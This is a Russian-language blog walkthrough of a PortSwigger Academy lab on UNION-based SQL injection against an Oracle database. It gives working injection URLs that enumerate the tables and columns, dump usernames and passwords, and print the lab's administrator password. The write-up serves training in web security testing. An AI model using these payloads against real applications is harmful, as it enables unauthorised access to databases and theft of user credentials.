А на подходе 10 лабораторная работа с PortSwigger Academy - SQL injection attack, listing the database contents on Oracle. В ней мы поймем как определять какие таблицы есть в БД, и как можно рыскать внутри них
Да, мем не относится к теме статьи, но он все равно классный. Этого не отнимешь
Душная теория, как вы и любите
В прошлой статье мы обсуждали как получить инфу с БД не Oracle - MySQL, PostgreSQL, Microsoft - суть такая же, но в Oracle синтаксис немного другой
В Oracle вы можете получить ту же информацию с помощью немного разных запросов.
Вы можете получить список таблиц, запросив all_tables
SELECT * FROM all_tables
И вы можете перечислить столбцы, запросив all_tab_columns:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
Постановка задачи
Эта лабораторная работа содержит уязвимость SQL-инъекции в фильтре категорий продуктов. Результаты запроса возвращаются в ответе приложения, поэтому вы можете использовать атаку UNION для извлечения данных из других таблиц.
Приложение имеет функцию входа в систему, а база данных содержит таблицу с именами пользователей и паролями. Вам нужно определить имя этой таблицы и содержащихся в ней столбцов, а затем получить содержимое таблицы, чтобы получить имя пользователя и пароль всех пользователей.
Чтобы выполнить лабораторную работу, войдите в систему как administrator.
Решение лабораторной
Поймем сколько столбцов содержится в БД
https://0a75001503bc86f7c06901e000030043.web-security-academy.net/filter?category=' UNION SELECT NULL, NULL FROM all_tables--
Поймем, что их две из них имеют текстовый формат
https://0a75001503bc86f7c06901e000030043.web-security-academy.net/filter?category=' UNION SELECT 'a', 'a' FROM all_tables--
Далее из чеклиста возьмем список всех table_name из all_tab_columns
https://0a75001503bc86f7c06901e000030043.web-security-academy.net/filter?category=' UNION SELECT table_name, NULL FROM all_tab_columns--
И получаем большой список таблиц
Применим любимую клавишу CTRL+F для поиска подходящей для выполнения задания таблицы - users. Нашли таблицу USERS_GPWCAT, отнесемся к ней повнимательнее
https://0a75001503bc86f7c06901e000030043.web-security-academy.net/filter?category=' UNION SELECT column_name, NULL FROM all_tab_columns where table_name = 'USERS_GPWCAT'--
Поймем, что там содержатся 2 столбца с названиями PASSWORD_QHDHMT и USERNAME_TIJGFE по ним и выполним поиск
https://0a75001503bc86f7c06901e000030043.web-security-academy.net/filter?category=' UNION SELECT PASSWORD_QHDHMT, USERNAME_TIJGFE FROM USERS_GPWCAT--
И видим креды админа administrator - ayh17i6302hu7zgq7u6k
Без зазрения совести летим и авторизуемся, и получаем заветное поздравление о решении лабы
Спасибо за внимание. Это была 10-тая статья, наш маленький юбилей
До встречи!